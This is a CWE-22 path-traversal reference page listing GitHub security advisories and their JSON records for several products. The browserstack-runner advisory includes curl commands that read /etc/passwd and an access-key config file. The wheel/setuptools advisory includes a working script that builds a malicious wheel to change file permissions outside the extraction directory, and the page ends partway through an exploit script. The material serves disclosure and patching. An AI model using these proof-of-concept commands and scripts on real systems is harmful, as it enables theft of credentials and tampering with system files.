CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13129 vulnerabilities reference this CWE, most recent first.
GHSA-8RM2-93MQ-JQHC
Vulnerability from github – Published: 2024-10-11 18:10 – Updated: 2024-10-15 19:53Impact
A maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.
Patches
Please use version 4.0.0 or later github.com/codeclysm/extract/v4. Any previous version is affected by the bug.
Workarounds
No knows workarounds.
Backward compatibility notes about upgrading to /v4 from /v3
If you're not using the extract.Extractor.FS interface, you will not face any breaking changes and upgrading should be as simple as changing the import to /v4. This should be the case for most of the userbase.
If you're using the Extractor.FS interface, then upgrading to /v4 will require to implement the new methods that have been added:
type FS interface {
Link(string, string) error
MkdirAll(string, os.FileMode) error
OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)
Symlink(string, string) error
// The following methods have been added in the /v4 interface:
Remove(path string) error
Stat(name string) (os.FileInfo, error)
Chmod(name string, mode os.FileMode) error
}
There should be no other breaking changes in the /v4 API.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/codeclysm/extract/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/codeclysm/extract/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/codeclysm/extract"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47877"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-11T18:10:24Z",
"nvd_published_at": "2024-10-11T17:15:04Z",
"severity": "MODERATE"
},
"details": "### Impact\nA maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.\n\n### Patches\nPlease use version 4.0.0 or later `github.com/codeclysm/extract/v4`. Any previous version is affected by the bug.\n\n### Workarounds\nNo knows workarounds.\n\n### Backward compatibility notes about upgrading to `/v4` from `/v3`\n\nIf you\u0027re not using the `extract.Extractor.FS` interface, you will not face any breaking changes and upgrading should be as simple as changing the import to `/v4`. This should be the case for most of the userbase.\n\nIf you\u0027re using the `Extractor.FS` interface, then upgrading to `/v4` will require to implement the new methods that have been added:\n\n```go\ntype FS interface {\n Link(string, string) error\n MkdirAll(string, os.FileMode) error\n OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)\n Symlink(string, string) error\n\n // The following methods have been added in the /v4 interface:\n\n Remove(path string) error\n Stat(name string) (os.FileInfo, error)\n Chmod(name string, mode os.FileMode) error\n}\n```\n\nThere should be no other breaking changes in the `/v4` API.\n",
"id": "GHSA-8rm2-93mq-jqhc",
"modified": "2024-10-15T19:53:17Z",
"published": "2024-10-11T18:10:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/codeclysm/extract/security/advisories/GHSA-8rm2-93mq-jqhc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47877"
},
{
"type": "WEB",
"url": "https://github.com/codeclysm/extract/commit/4a98568021b8e289345c7f526ccbd7ed732cf286"
},
{
"type": "PACKAGE",
"url": "https://github.com/codeclysm/extract"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Extract has insufficient checks allowing attacker to create symlinks outside the extraction directory."
}
GHSA-8RMC-4498-FJ7G
Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2022-05-01 18:44Multiple directory traversal vulnerabilities in TeamCal Pro 3.1.000 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter to (1) index.php, (2) register.php, (3) login.php, or (4) statistics.php.
{
"affected": [],
"aliases": [
"CVE-2007-6554"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-12-28T00:46:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in TeamCal Pro 3.1.000 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter to (1) index.php, (2) register.php, (3) login.php, or (4) statistics.php.",
"id": "GHSA-8rmc-4498-fj7g",
"modified": "2022-05-01T18:44:08Z",
"published": "2022-05-01T18:44:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6554"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39212"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4785"
},
{
"type": "WEB",
"url": "http://osvdb.org/39827"
},
{
"type": "WEB",
"url": "http://osvdb.org/39828"
},
{
"type": "WEB",
"url": "http://osvdb.org/39829"
},
{
"type": "WEB",
"url": "http://osvdb.org/39830"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27022"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8RMC-FV9G-7JW4
Vulnerability from github – Published: 2022-05-17 04:07 – Updated: 2022-05-17 04:07Directory traversal vulnerability in the messaging API in Cisco Unity Connection allows remote authenticated users to read arbitrary files via vectors related to unenforced access constraints for .wav files and the audio/x-wav MIME type, aka Bug ID CSCun91071.
{
"affected": [],
"aliases": [
"CVE-2014-2145"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-04-05T04:01:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the messaging API in Cisco Unity Connection allows remote authenticated users to read arbitrary files via vectors related to unenforced access constraints for .wav files and the audio/x-wav MIME type, aka Bug ID CSCun91071.",
"id": "GHSA-8rmc-fv9g-7jw4",
"modified": "2022-05-17T04:07:28Z",
"published": "2022-05-17T04:07:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2145"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2014-2145"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/66676"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8RMG-WMQ4-Q93V
Vulnerability from github – Published: 2022-05-17 00:25 – Updated: 2025-04-20 03:45Before version 4.8.2, WordPress was vulnerable to a directory traversal attack during unzip operations in the ZipArchive and PclZip components.
{
"affected": [],
"aliases": [
"CVE-2017-14719"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-23T20:29:00Z",
"severity": "HIGH"
},
"details": "Before version 4.8.2, WordPress was vulnerable to a directory traversal attack during unzip operations in the ZipArchive and PclZip components.",
"id": "GHSA-8rmg-wmq4-q93v",
"modified": "2025-04-20T03:45:47Z",
"published": "2022-05-17T00:25:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14719"
},
{
"type": "WEB",
"url": "https://core.trac.wordpress.org/changeset/41457"
},
{
"type": "WEB",
"url": "https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8911"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-3997"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100912"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039553"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8RMH-55H4-93H5
Vulnerability from github – Published: 2022-08-06 05:48 – Updated: 2022-08-11 17:03Impact
ItemImportServiceImpl is vulnerable to a path traversal vulnerability. This means a malicious SAF (simple archive format) package could cause a file/directory to be created anywhere the Tomcat/DSpace user can write to on the server. However, this path traversal vulnerability is only possible by a user with special privileges (either Administrators or someone with command-line access to the server). This vulnerability impacts the XMLUI, JSPUI and command-line.
This vulnerability does NOT impact 7.x.
Patches
DSpace 6.x: * Fixed in 6.4 via commit: https://github.com/DSpace/DSpace/commit/7af52a0883a9dbc475cf3001f04ed11b24c8a4c0 * 6.x patch file: https://github.com/DSpace/DSpace/commit/7af52a0883a9dbc475cf3001f04ed11b24c8a4c0.patch (may be applied manually if an immediate upgrade to 6.4 or 7.x is not possible)
DSpace 5.x: * Fixed in 5.11 via commit: https://github.com/DSpace/DSpace/commit/56e76049185bbd87c994128a9d77735ad7af0199 * 5.x patch file: https://github.com/DSpace/DSpace/commit/56e76049185bbd87c994128a9d77735ad7af0199.patch (may be applied manually if an immediate upgrade to 5.11 or 6.4 or 7.x is not possible)
Apply the patch to your DSpace
If at all possible, we recommend upgrading your DSpace site based on the upgrade instructions. However, if you are unable to do so, you can manually apply the above patches as follows:
1. Download the appropriate patch file to the machine where DSpace is running
2. From the [dspace-src] folder, apply the patch, e.g. git apply [name-of-file].patch
3. Now, update your DSpace site (based loosely on the Upgrade instructions). This generally involves three steps:
1. Rebuild DSpace, e.g. mvn -U clean package (This will recompile all DSpace code)
2. Redeploy DSpace, e.g. ant update (This will copy all updated WARs / configs to your installation directory). Depending on your setup you also may need to copy the updated WARs over to your Tomcat webapps folder.
3. Restart Tomcat
Workarounds
As a basic workaround, you may block all access to the following URL paths:
* If you are using the XMLUI, block all access to /admin/batchimport path (this is the URL of the Admin Batch Import tool). Keep in mind, if your site uses the path "/xmlui", then you'd need to block access to /xmlui/admin/batchimport.
* If you are using the JSPUI, block all access to /dspace-admin/batchimport path (this is the URL of the Admin Batch Import tool). Keep in mind, if your site uses the path "/jspui", then you'd need to block access to /jspui/dspace-admin/batchimport.
Keep in mind, only an Administrative user or a user with command-line access to the server is able to import/upload SAF packages. Therefore, assuming those users do not blindly upload untrusted SAF packages, then it is unlikely your site could be impacted by this vulnerability.
For more information
If you have any questions or comments about this advisory: * Email us at security@dspace.org
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.dspace:dspace-api"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "5.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.dspace:dspace-api"
},
"ranges": [
{
"events": [
{
"introduced": "6.0"
},
{
"fixed": "6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31195"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-06T05:48:56Z",
"nvd_published_at": "2022-08-01T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nItemImportServiceImpl is vulnerable to a path traversal vulnerability. This means a malicious SAF (simple archive format) package could cause a file/directory to be created anywhere the Tomcat/DSpace user can write to on the server. However, this path traversal vulnerability is only possible by a user with special privileges (either Administrators or someone with command-line access to the server). This vulnerability impacts the XMLUI, JSPUI and command-line.\n\n_This vulnerability does NOT impact 7.x._\n\n### Patches\n\n_DSpace 6.x:_ \n* Fixed in 6.4 via commit: https://github.com/DSpace/DSpace/commit/7af52a0883a9dbc475cf3001f04ed11b24c8a4c0\n* 6.x patch file: https://github.com/DSpace/DSpace/commit/7af52a0883a9dbc475cf3001f04ed11b24c8a4c0.patch (may be applied manually if an immediate upgrade to 6.4 or 7.x is not possible)\n\n_DSpace 5.x:_\n* Fixed in 5.11 via commit: https://github.com/DSpace/DSpace/commit/56e76049185bbd87c994128a9d77735ad7af0199\n* 5.x patch file: https://github.com/DSpace/DSpace/commit/56e76049185bbd87c994128a9d77735ad7af0199.patch (may be applied manually if an immediate upgrade to 5.11 or 6.4 or 7.x is not possible)\n\n#### Apply the patch to your DSpace\nIf at all possible, we recommend upgrading your DSpace site based on the upgrade instructions. However, if you are unable to do so, you can manually apply the above patches as follows:\n1. Download the appropriate patch file to the machine where DSpace is running\n2. From the `[dspace-src]` folder, apply the patch, e.g. `git apply [name-of-file].patch`\n3. Now, update your DSpace site (based loosely on the Upgrade instructions). This generally involves three steps:\n 1. Rebuild DSpace, e.g. `mvn -U clean package` (This will recompile all DSpace code)\n 2. Redeploy DSpace, e.g. `ant update` (This will copy all updated WARs / configs to your installation directory). Depending on your setup you also may need to copy the updated WARs over to your Tomcat webapps folder.\n 3. Restart Tomcat\n\n### Workarounds\n\nAs a basic workaround, you may block all access to the following URL paths:\n* If you are using the XMLUI, block all access to `/admin/batchimport` path (this is the URL of the Admin Batch Import tool). Keep in mind, if your site uses the path \"/xmlui\", then you\u0027d need to block access to `/xmlui/admin/batchimport`.\n* If you are using the JSPUI, block all access to `/dspace-admin/batchimport` path (this is the URL of the Admin Batch Import tool). Keep in mind, if your site uses the path \"/jspui\", then you\u0027d need to block access to `/jspui/dspace-admin/batchimport`.\n\nKeep in mind, only an Administrative user or a user with command-line access to the server is able to import/upload SAF packages. Therefore, assuming those users do not blindly upload untrusted SAF packages, then it is unlikely your site could be impacted by this vulnerability.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at security@dspace.org\n",
"id": "GHSA-8rmh-55h4-93h5",
"modified": "2022-08-11T17:03:11Z",
"published": "2022-08-06T05:48:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DSpace/DSpace/security/advisories/GHSA-8rmh-55h4-93h5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31195"
},
{
"type": "WEB",
"url": "https://github.com/DSpace/DSpace/commit/56e76049185bbd87c994128a9d77735ad7af0199"
},
{
"type": "WEB",
"url": "https://github.com/DSpace/DSpace/commit/7af52a0883a9dbc475cf3001f04ed11b24c8a4c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/DSpace/DSpace"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DSpace ItemImportService API Vulnerable to Path Traversal in Simple Archive Format Package Import"
}
GHSA-8RPW-6CQH-2V9H
Vulnerability from github – Published: 2026-06-03 21:38 – Updated: 2026-06-03 21:38Summary
The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
Root Cause
lib/server.js, lines 530–534 : _default handler:
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
handleFile(filePath, request, response);
}
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
server.listen(parseInt(config.test_server_port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.
Steps to Reproduce
Step 1 : Start the server (Terminal 1)
cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
Step 2 : Read arbitrary files (Terminal 2)
Read /etc/hostname:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
curl -s "http://127.0.0.1:8888/browserstack.json"
Note:
--path-as-isis required because curl normalizes../sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.
Expected Result
/etc/hostname→ server returns the machine hostname/etc/passwd→ server returns the full passwd filebrowserstack.json→ server returns the config including the BrowserStack access key
Impact
- BrowserStack access key theft :
browserstack.jsonis always in the project root (same directory the server serves from), and containsusernameandkeyin cleartext - Source code theft : all project files are readable
- System file disclosure :
/etc/passwd,/etc/shadow(if readable), SSH keys,.envfiles,.npmrc(npm tokens), etc. - Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker
Suggested Fix
- Validate the resolved path stays within the project root:
var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
sendError(response, 'Forbidden', 403);
return;
}
- Bind on
127.0.0.1 - Add authentication to the
_defaulthandler
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "browserstack-runner"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49144"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-03T21:38:40Z",
"nvd_published_at": "2026-06-02T21:16:28Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530\u2013534 : `_default` handler:**\n\n```javascript\n\u0027_default\u0027: function defaultHandler(uri, body, request, response) {\n var filePath = path.join(process.cwd(), uri);\n handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho \u0027\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e\u0027 \u003e _poc_test.html\necho \u0027{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}\u0027 \u003e browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n\u003e **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n\u003e by default. Browsers and HTTP libraries that do not normalize URL paths\n\u003e (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` \u2192 server returns the machine hostname\n- `/etc/passwd` \u2192 server returns the full passwd file\n- `browserstack.json` \u2192 server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), \u0027.\u0027 + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n sendError(response, \u0027Forbidden\u0027, 403);\n return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler",
"id": "GHSA-8rpw-6cqh-2v9h",
"modified": "2026-06-03T21:38:40Z",
"published": "2026-06-03T21:38:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49144"
},
{
"type": "PACKAGE",
"url": "https://github.com/browserstack/browserstack-runner"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/browserstack-runner-path-traversal-via-default-http-handler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server"
}
GHSA-8RPW-Q347-H7PP
Vulnerability from github – Published: 2022-05-17 05:49 – Updated: 2025-04-11 03:36Directory traversal vulnerability in private/file_management.php on the IBM BladeCenter with Advanced Management Module (AMM) firmware build ID BPET48L, and possibly other versions before 4.7 and 5.0, allows remote authenticated users to list arbitrary directories and possibly have unspecified other impact via a .. (dot dot) in the DIR parameter.
{
"affected": [],
"aliases": [
"CVE-2010-2655"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-07-08T12:54:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in private/file_management.php on the IBM BladeCenter with Advanced Management Module (AMM) firmware build ID BPET48L, and possibly other versions before 4.7 and 5.0, allows remote authenticated users to list arbitrary directories and possibly have unspecified other impact via a .. (dot dot) in the DIR parameter.",
"id": "GHSA-8rpw-q347-h7pp",
"modified": "2025-04-11T03:36:58Z",
"published": "2022-05-17T05:49:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2655"
},
{
"type": "WEB",
"url": "http://dsecrg.com/pages/vul/show.php?id=154"
},
{
"type": "WEB",
"url": "http://osvdb.org/66124"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/14237"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/41383"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8RQP-G9HP-4X68
Vulnerability from github – Published: 2025-02-18 06:35 – Updated: 2026-04-08 18:33The BigBuy Dropshipping Connector for WooCommerce plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 1.9.19. This is due the /vendor/cocur/slugify/bin/generate-default.php file being directly accessible and triggering an error. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website.
{
"affected": [],
"aliases": [
"CVE-2024-13538"
],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-18T05:15:13Z",
"severity": "MODERATE"
},
"details": "The BigBuy Dropshipping Connector for WooCommerce plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 1.9.19. This is due the /vendor/cocur/slugify/bin/generate-default.php file being directly accessible and triggering an error. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website.",
"id": "GHSA-8rqp-g9hp-4x68",
"modified": "2026-04-08T18:33:48Z",
"published": "2025-02-18T06:35:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13538"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bigbuy-wc-dropshipping-connector/tags/2.0.0/vendor/cocur/slugify/bin/generate-default.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bigbuy-wc-dropshipping-connector/trunk/vendor/cocur/slugify/bin/generate-default.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3281936%40bigbuy-wc-dropshipping-connector\u0026new=3281936%40bigbuy-wc-dropshipping-connector\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15f38b3e-69fe-436f-ba4b-7985ec9dac00?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8RRH-RW8J-W5FX
Vulnerability from github – Published: 2026-01-22 18:02 – Updated: 2026-01-23 17:44Summary
- Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
- Root Cause Component: wheel.cli.unpack.unpack function.
- Affected Packages:
- wheel (Upstream source)
- setuptools (Downstream, vendors wheel)
- Severity: High (Allows modifying system file permissions).
Details
The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.
# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY:
# The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
# If zinfo.filename contains "../", this targets files outside the destination.
permissions = zinfo.external_attr >> 16 & 0o777
destination.joinpath(zinfo.filename).chmod(permissions)
PoC
I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.
import zipfile
import hashlib
import base64
import os
def urlsafe_b64encode(data):
"""
Helper function to encode data using URL-safe Base64 without padding.
Required by the Wheel file format specification.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
def get_hash_and_size(data_bytes):
"""
Calculates SHA-256 hash and size of the data.
These values are required to construct a valid 'RECORD' file,
which is used by the 'wheel' library to verify integrity.
"""
digest = hashlib.sha256(data_bytes).digest()
hash_str = "sha256=" + urlsafe_b64encode(digest)
return hash_str, str(len(data_bytes))
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content
# These are minimal required contents to make the wheel look legitimate.
wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
# 2. Define Malicious Payload (Path Traversal)
# The content doesn't matter, but the path does.
payload_content = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
# The vulnerability allows 'chmod' to affect this path directly.
malicious_path = "../../poc_target.txt"
# 3. Calculate Hashes for Integrity Check Bypass
# The 'wheel' library verifies if the file hash matches the RECORD entry.
# To bypass this check, we calculate the correct hash for our malicious file.
wheel_hash, wheel_size = get_hash_and_size(wheel_content)
metadata_hash, metadata_size = get_hash_and_size(metadata_content)
payload_hash, payload_size = get_hash_and_size(payload_content)
# 4. Construct the 'RECORD' File
# The RECORD file lists all files in the wheel with their hashes.
# CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
# This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
record_lines = [
f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path
"evil-1.0.dist-info/RECORD,,"
]
record_content = "\n".join(record_lines).encode('utf-8')
# 5. Build the Zip File
with zipfile.ZipFile(filename, "w") as zf:
# Write standard metadata files
zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
zf.writestr("evil-1.0.dist-info/RECORD", record_content)
# [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
# We need to set specific permission bits to trigger the vulnerability.
zinfo = zipfile.ZipInfo(malicious_path)
# Set external attributes to 0o777 (rwxrwxrwx)
# Upper 16 bits: File type (0o100000 = Regular File)
# Lower 16 bits: Permissions (0o777 = World Writable)
# The vulnerable 'unpack' function will blindly apply this '777' to the system file.
zinfo.external_attr = (0o100000 | 0o777) << 16
zf.writestr(zinfo, payload_content)
print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")
if __name__ == "__main__":
create_evil_wheel_v4()
Step 2: Run the Exploit (exploit.py)
from pathlib import Path
import sys
# Demonstrating impact on setuptools
try:
from setuptools._vendor.wheel.cli.unpack import unpack
print("[*] Loaded unpack from setuptools")
except ImportError:
from wheel.cli.unpack import unpack
print("[*] Loaded unpack from wheel")
# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
